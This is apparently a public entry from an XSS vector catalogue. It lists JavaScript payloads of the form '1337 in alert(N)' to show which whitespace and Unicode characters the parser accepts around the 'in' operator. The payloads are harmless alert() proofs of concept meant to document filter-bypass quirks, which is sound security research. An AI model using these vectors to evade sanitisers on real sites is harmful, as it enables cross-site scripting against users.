Characters allowed between in operator

Created by: hackvertor

Created on: Wednesday, April 3, 2024 at 11:35:56 AM

Updated on: Sunday, May 25, 2025 at 8:03:29 AM

Category: XSS Execution

Vector visibility: Public

Vector type: JS

Vector charset: UTF-8

Template used:

1337$[chr]in$[chr]log($[i])

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

1337⟦09⟧in0x09alert(9)

1337
in
alert(10)

13370x0Bin0x0Balert(11)

13370x0Cin0x0Calert(12)

13370x0Din0x0Dalert(13)

1337 in alert(32)

1337 in alert(160)

1337 in alert(5760)

1337 in alert(8192)

1337 in alert(8193)

1337 in alert(8194)

1337 in alert(8195)

1337 in alert(8196)

1337 in alert(8197)

1337 in alert(8198)

1337 in alert(8199)

1337 in alert(8200)

1337 in alert(8201)

1337 in alert(8202)

1337 in alert(8232)